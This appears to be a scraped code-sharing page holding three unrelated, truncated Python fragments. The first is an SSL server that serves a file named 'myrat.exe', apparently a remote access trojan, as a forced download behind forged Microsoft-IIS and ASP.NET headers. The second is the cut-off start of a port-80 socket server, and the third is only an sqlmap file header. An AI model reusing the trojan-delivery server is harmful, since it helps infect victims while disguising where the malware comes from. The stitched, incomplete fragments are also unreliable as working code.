This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socketserver, ssl, time | |
class MyHTTPSHandler_socket(socketserver.BaseRequestHandler): | |
def handle(self): | |
context = ssl.SSLContext(ssl.PROTOCOL_SSLv23) | |
context.load_cert_chain(certfile="cert.pem") | |
SSLSocket = context.wrap_socket(self.request, server_side=True) | |
self.data = SSLSocket.recv(1024) | |
print(self.data) | |
file_contents=open('myrat.exe','rb').read() | |
buf = 'HTTP/1.1 200 OK\r\nContent-Length: 303641\r\nContent-Type: application/force-download\r\nLast-Modified: Fri, 10 Jan 2014 03:54:35 GMT\r\nAccept-Ranges: bytes\r\nETag: "80f5adb7dcf1:474"\r\nServer: Microsoft-IIS/6.0\r\nX-Powered-By: ASP.NET\r\nDate: Thu, 24 May 2018 06:25:45 GMT\r\nConnection: close\r\n\r\n'+file_contents |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# -*- coding: UTF-8 -*- | |
import socket | |
import threading, getopt, sys, string | |
import re | |
#设置默认的最大连接数和端口号 | |
list=50 | |
port=80 | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
""" | |
Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) | |
See the file 'doc/COPYING' for copying permission | |
""" | |
import os | |
import re | |
import socket |